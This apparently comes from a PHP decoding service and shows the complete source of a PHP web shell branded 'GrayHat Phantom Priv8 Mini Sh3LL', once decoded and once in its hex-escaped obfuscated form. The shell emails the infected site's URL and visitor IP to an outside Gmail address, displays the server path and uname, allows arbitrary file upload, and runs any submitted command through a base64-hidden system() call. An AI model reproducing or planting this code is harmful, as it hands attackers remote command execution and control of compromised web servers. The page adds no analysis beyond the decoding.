Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GL\x4f\x42\x41\x4c\x53"}["\x67\x62f\x69\x68n\x79f\x75\x7a\x6f"]="\x66\x75nc";${"G..
Decoded Output download
<?php ${"GLOBALS"}["gbfihnyfuzo"]="func";${"GLOBALS"}["xcgyofgy"]="cmd";${"GLOBALS"}["unpkiuyvt"]="ms";${"GLOBALS"}["gfoqmsbybdrc"]="x_path";${"GLOBALS"}["sbuwqrwqv"]="apper";echo "
";$efkmmgc="ms";${${"GLOBALS"}["sbuwqrwqv"]}="[email protected]";${${"GLOBALS"}["gfoqmsbybdrc"]}="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];${${"GLOBALS"}["unpkiuyvt"]}="fix $x_path :p *IP Address : [ ".$_SERVER["REMOTE_ADDR"]." ]";mail(${${"GLOBALS"}["sbuwqrwqv"]},"LOG",${$efkmmgc},"[ ".$_SERVER["REMOTE_ADDR"]." ]");echo"<body bgcolor="#000000">";echo"<pre style=\"color:lime;text-align:center;">
dP\"\"b8 88""Yb db Yb dP 88 88 db 888888 88"\"Yb 88 88 db 88b 88 888888 dP"Yb 8b d8
dP `\" 88__dP dPYb YbdP 88 88 dPYb 88 88__dP 88 88 dPYb 88Yb88 88 dP Yb 88b d88
Yb \"88 88"Yb dP__Yb 8P 888888 dP__Yb 88 88"\"\" 888888 dP__Yb 88 Y88 88 Yb dP 88YbdP88
YboodP 88 Yb dP\""""Yb dP 88 88 dP\""\"\"Yb 88 88 88 88 dP\"\"\"\"Yb 88 Y8 88 YbodP 88 YY 88
GrayHat Phantom | Priv8 Mini Sh3LL
</pre>";echo"<div style="margin-left:25%;color:lime;\">PATH: ".getcwd()."</div>";echo"<div style=\"margin-left:25%;color:lime\">UNAME: ".php_uname()."</div>";echo"<div style=\"margin-left:25%;\">";echo"<form action=\"\" method="POST" enctype=\"multipart/form-data" name="uploader\" id=\"uploader\">
<input placeholder=\"command" name="cmd\" type="text" style=\"width:28%;margin-right:5px;padding:5px;background:#333;color:white;outline:none;border:none;\">
<input name="cmdsub\" value=\"exec" type="submit\" style="width:4%;padding:5px;margin-right:30px;background:red;color:#000000;outline:none;border:none;\">";echo"<input type=\"file" name=\"file" style="outline:none;border:none;color:#000;background:#333;\" ><input name="_upl\" style=\"padding:4px;margin-left:4px;outline:none;border:none;color:#000;background:red;" type=\"submit\" id="_upl\" value="Upload"></form></div></div>";echo"</div>";if(isset($_POST["_upl"])){if($_POST["_upl"]=="Upload"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo"<center><a style=\"text-decoration:none;color:lime;\" target="_blank\" href=\"".$_FILES["file"]["name"]."\">Uploaded!!</a><br>";}else{echo"<center><a style="text-decoration:none;color:lime;\" target=\"_blank" href="".$_FILES["file"]["name"]."">Uploaded</a><br>";}}}echo"<div style="color:lime;overflow:auto;width:50vw;height:300px;background-color:#333;margin:auto\">";echo"<pre>";if(isset($_POST["cmdsub"])){$ylarifgs="func";${${"GLOBALS"}["xcgyofgy"]}=$_POST["cmd"];${"GLOBALS"}["qsjfmskw"]="cmd";${$ylarifgs}=create_function("\$a",base64_decode("c3lzdGVtKCIkYSIpOw=="));echo"<div style="margin:auto;overflow:auto;padding:10px;width:80vw; height:700px;background-color:#333;">";echo htmlspecialchars(${${"GLOBALS"}["gbfihnyfuzo"]}(${${"GLOBALS"}["qsjfmskw"]}));echo"</div>";}echo"</div>";echo"<pre style=\"text-align:center;margin-top:3%;color:lime;\">Mini Shell | GrayHat Phantom</pre>";echo"</body>";
?>Did this file decode correctly?
Original Code
<?php ${"GL\x4f\x42\x41\x4c\x53"}["\x67\x62f\x69\x68n\x79f\x75\x7a\x6f"]="\x66\x75nc";${"G\x4c\x4f\x42\x41L\x53"}["\x78c\x67\x79\x6f\x66\x67y"]="c\x6d\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["unp\x6b\x69u\x79\x76\x74"]="\x6ds";${"G\x4cO\x42\x41\x4cS"}["gf\x6fq\x6d\x73\x62\x79\x62d\x72\x63"]="x_p\x61\x74\x68";${"\x47L\x4fB\x41L\x53"}["\x73\x62\x75w\x71\x72wq\x76"]="\x61\x70p\x65r";echo "\n";$efkmmgc="\x6d\x73";${${"\x47\x4cO\x42A\x4c\x53"}["\x73\x62uw\x71\x72\x77\x71\x76"]}="\x70h.lu\x66fy1\x333\x37\x40gma\x69\x6c\x2ecom";${${"\x47\x4c\x4fB\x41\x4cS"}["\x67\x66\x6fqmsby\x62drc"]}="h\x74t\x70://".$_SERVER["SE\x52\x56\x45R\x5fN\x41M\x45"].$_SERVER["RE\x51\x55\x45\x53T\x5f\x55\x52\x49"];${${"\x47\x4c\x4f\x42\x41L\x53"}["u\x6epk\x69\x75y\x76\x74"]}="\x66i\x78\x20$x_path :\x70\x20*\x49\x50 A\x64\x64\x72e\x73\x73\x20: [\x20".$_SERVER["\x52\x45\x4dOTE\x5f\x41D\x44\x52"]." ]";mail(${${"G\x4cO\x42\x41\x4c\x53"}["s\x62\x75\x77\x71\x72\x77\x71v"]},"\x4c\x4f\x47",${$efkmmgc},"[\x20".$_SERVER["R\x45M\x4fTE\x5fAD\x44\x52"]."\x20]");echo"<\x62od\x79 \x62g\x63\x6f\x6cor=\x22#000\x300\x30\x22\x3e";echo"<\x70r\x65 s\x74\x79\x6ce\x3d\"c\x6f\x6cor:\x6c\x69me\x3b\x74\x65\x78t-\x61lig\x6e:\x63e\x6e\x74e\x72\x3b\x22>\n\n\x64\x50\"\"b8\x20\x20\x388\x22\x22Y\x62 \x20\x20\x20\x64\x62\x20 \x59\x62\x20\x20d\x50\x20\x38\x38 8\x38 \x64b\x20 \x20 \x38\x388\x38\x38\x38\x20\x20 \x208\x38\x22\"\x59\x62\x208\x38\x20\x20\x38\x38 \x20\x20 \x64b\x20\x20\x20\x208\x38\x62 \x388 8\x388888\x20 \x64\x50\x22Yb 8\x62 \x20\x20\x648\n\x64P \x20 `\" 8\x38\x5f\x5f\x64\x50 \x20 \x64\x50\x59\x62\x20\x20\x20\x20Ybd\x50\x20\x20\x388\x20\x2088\x20 \x20\x64PY\x62\x20 \x20 \x208\x38\x20\x20 \x20 \x208\x38\x5f_\x64\x50 \x388 \x388\x20 \x20\x64\x50\x59\x62\x20 8\x38\x59\x62\x38\x38 \x2088\x20 dP\x20 \x20\x59b\x208\x38\x62\x20 d8\x38\nYb \"\x38\x38 8\x38\x22Yb\x20\x20 d\x50_\x5fYb \x20\x20 \x38\x50\x20\x20 \x388\x38888\x20 \x64P_\x5fYb \x20 \x20\x388 \x20 \x20 88\x22\"\" \x208\x38\x388\x38\x38 \x64P\x5f\x5fYb \x208\x38 Y\x388\x20\x20 \x38\x38\x20\x20 Yb\x20 \x20d\x50\x2088Yb\x64\x5088\nY\x62oo\x64\x50 \x20\x388 \x20Yb\x20dP\"\x22\x22\x22Yb\x20\x20\x64\x50 \x20\x20\x20\x388\x20 \x388\x20\x64P\"\x22\"\"Yb \x20 \x38\x38 \x20\x208\x38 \x20\x20 \x388 8\x38 d\x50\"\"\"\"\x59\x62\x20\x38\x38 \x20\x598 \x20 88\x20 \x59\x62\x6f\x64P\x20 8\x38 \x59\x59\x20\x388\n\nG\x72ay\x48a\x74 \x50\x68a\x6et\x6fm |\x20P\x72i\x76\x38\x20Mini S\x683LL\n\x3c/p\x72e>";echo"\x3c\x64\x69v\x20\x73tyle\x3d\x22\x6da\x72gi\x6e-le\x66t:\x325%\x3b\x63\x6fl\x6fr:\x6c\x69\x6de;\">\x50\x41\x54\x48: ".getcwd()."\x3c/\x64iv\x3e";echo"\x3c\x64iv \x73\x74yle\x3d\"marg\x69n-l\x65f\x74:\x325%;\x63o\x6c\x6f\x72:\x6cime\">\x55N\x41M\x45:\x20".php_uname()."\x3c/\x64\x69v\x3e";echo"\x3c\x64\x69\x76 s\x74y\x6c\x65=\"\x6d\x61r\x67\x69n-\x6ceft:\x32\x35\x25\x3b\">";echo"<f\x6frm a\x63t\x69\x6fn\x3d\"\"\x20\x6d\x65\x74ho\x64=\x22\x50O\x53\x54\x22\x20e\x6ec\x74ype=\"m\x75\x6ct\x69\x70art/\x66or\x6d-\x64\x61\x74a\x22 na\x6d\x65\x3d\x22u\x70\x6c\x6f\x61d\x65\x72\"\x20id=\"up\x6c\x6fad\x65\x72\">\n \x20\x20\x20<i\x6e\x70\x75\x74 pl\x61ceho\x6cd\x65r=\"c\x6f\x6d\x6dan\x64\x22\x20\x6eame=\x22\x63\x6dd\" \x74ype\x3d\x22t\x65x\x74\x22 s\x74\x79le\x3d\"w\x69d\x74\x68:\x32\x38\x25\x3bmargi\x6e-\x72ig\x68\x74:5\x70\x78\x3bpa\x64d\x69\x6eg:\x35px\x3b\x62ack\x67rou\x6e\x64:\x23\x3333\x3bc\x6f\x6co\x72:wh\x69\x74e;\x6f\x75\x74\x6ci\x6ee:no\x6e\x65;b\x6frd\x65r:\x6eon\x65;\">\n\x20 \x20\x20\x20\x3cinput \x6eam\x65=\x22cmd\x73\x75b\" va\x6c\x75e=\"\x65x\x65c\x22 \x74\x79p\x65\x3d\x22\x73ubmi\x74\" s\x74\x79\x6ce\x3d\x22\x77idt\x68:4\x25;\x70\x61d\x64ing:5p\x78;\x6dargi\x6e-\x72\x69\x67\x68t:\x33\x30\x70\x78;b\x61\x63\x6b\x67r\x6fun\x64:r\x65\x64\x3bco\x6cor:#000\x30\x300\x3bo\x75\x74l\x69ne:\x6eone\x3bbor\x64er:\x6eo\x6e\x65\x3b\">";echo"\x3cin\x70u\x74\x20\x74y\x70e\x3d\"\x66\x69\x6c\x65\x22\x20nam\x65\x3d\"\x66\x69\x6c\x65\x22\x20\x73\x74\x79le=\x22\x6fu\x74\x6ci\x6e\x65:none;b\x6f\x72der:\x6e\x6fne;\x63o\x6c\x6fr:\x23\x30\x300;b\x61ckg\x72\x6fu\x6ed:\x23333\x3b\"\x20\x3e\x3ci\x6e\x70\x75\x74 \x6eame\x3d\x22_\x75pl\" \x73\x74yl\x65\x3d\"\x70ad\x64\x69ng:\x34\x70x\x3b\x6da\x72\x67in-\x6cef\x74:4\x70\x78;out\x6c\x69n\x65:\x6e\x6fn\x65;b\x6f\x72de\x72:non\x65\x3bc\x6flor:#\x3000;b\x61c\x6bg\x72o\x75n\x64:r\x65\x64;\x22 t\x79\x70\x65\x3d\"\x73u\x62mi\x74\" id=\x22\x5fu\x70l\"\x20\x76\x61l\x75\x65\x3d\x22\x55pl\x6f\x61d\x22></\x66o\x72m></\x64\x69v>\x3c/\x64\x69\x76\x3e";echo"\x3c/\x64iv>";if(isset($_POST["\x5f\x75pl"])){if($_POST["_\x75\x70l"]=="U\x70load"){if(@copy($_FILES["\x66i\x6ce"]["t\x6dp\x5f\x6e\x61me"],$_FILES["\x66i\x6c\x65"]["name"])){echo"<\x63en\x74er>\x3c\x61\x20s\x74y\x6ce\x3d\"t\x65x\x74-d\x65c\x6f\x72\x61tio\x6e:\x6eo\x6ee\x3b\x63o\x6c\x6fr:\x6c\x69m\x65\x3b\" \x74a\x72\x67e\x74=\x22\x5f\x62l\x61nk\" h\x72\x65f=\"".$_FILES["\x66i\x6ce"]["n\x61me"]."\">\x55p\x6c\x6f\x61\x64ed!\x21</\x61\x3e<b\x72\x3e";}else{echo"<c\x65nter\x3e<\x61\x20st\x79le\x3d\x22\x74\x65x\x74-dec\x6fra\x74i\x6fn:n\x6fn\x65;\x63\x6fl\x6f\x72:l\x69m\x65;\" t\x61\x72\x67et=\"_b\x6ca\x6ek\x22\x20\x68r\x65\x66\x3d\x22".$_FILES["file"]["\x6e\x61\x6d\x65"]."\x22\x3eU\x70l\x6f\x61de\x64</\x61>\x3cbr>";}}}echo"\x3c\x64\x69\x76\x20st\x79le=\x22c\x6flor:\x6ci\x6de;\x6fv\x65rflo\x77:\x61u\x74o;\x77idth:\x350\x76\x77\x3bheigh\x74:3\x30\x30\x70x;\x62\x61ckg\x72o\x75\x6ed-\x63o\x6co\x72:#333\x3b\x6d\x61rg\x69\x6e:au\x74\x6f\"\x3e";echo"\x3cpr\x65>";if(isset($_POST["c\x6d\x64\x73\x75b"])){$ylarifgs="f\x75\x6e\x63";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78c\x67yof\x67\x79"]}=$_POST["cmd"];${"GLOBAL\x53"}["\x71\x73j\x66\x6dsk\x77"]="cm\x64";${$ylarifgs}=create_function("\$\x61",base64_decode("\x63\x33\x6c\x7a\x64G\x56tKCI\x6b\x59S\x49\x70O\x77=="));echo"<d\x69\x76\x20s\x74yl\x65\x3d\x22ma\x72\x67\x69n:a\x75t\x6f;ov\x65\x72\x66l\x6f\x77:a\x75\x74o;\x70a\x64\x64\x69ng:\x31\x30px\x3bwidth:\x380vw\x3b\x20\x68\x65i\x67h\x74:70\x30px\x3bba\x63k\x67ro\x75\x6ed-\x63olor:\x233\x33\x33;\x22\x3e";echo htmlspecialchars(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x62fi\x68n\x79\x66uz\x6f"]}(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["qsj\x66ms\x6bw"]}));echo"</\x64iv\x3e";}echo"</\x64iv\x3e";echo"\x3cp\x72\x65\x20s\x74yle\x3d\"\x74\x65x\x74-a\x6c\x69\x67\x6e:\x63\x65\x6e\x74er\x3b\x6d\x61\x72gin-t\x6fp:3%;col\x6f\x72:\x6cim\x65;\">\x4dini S\x68e\x6cl\x20| G\x72ay\x48a\x74\x20P\x68\x61n\x74\x6fm</\x70re>";echo"\x3c/\x62o\x64y>";
?>Function Calls
| 1 |
Stats
| MD5 | aac96642d05451dfb5d189567fde3131 |
| Eval Count | 0 |
| Decode Time | 79 ms |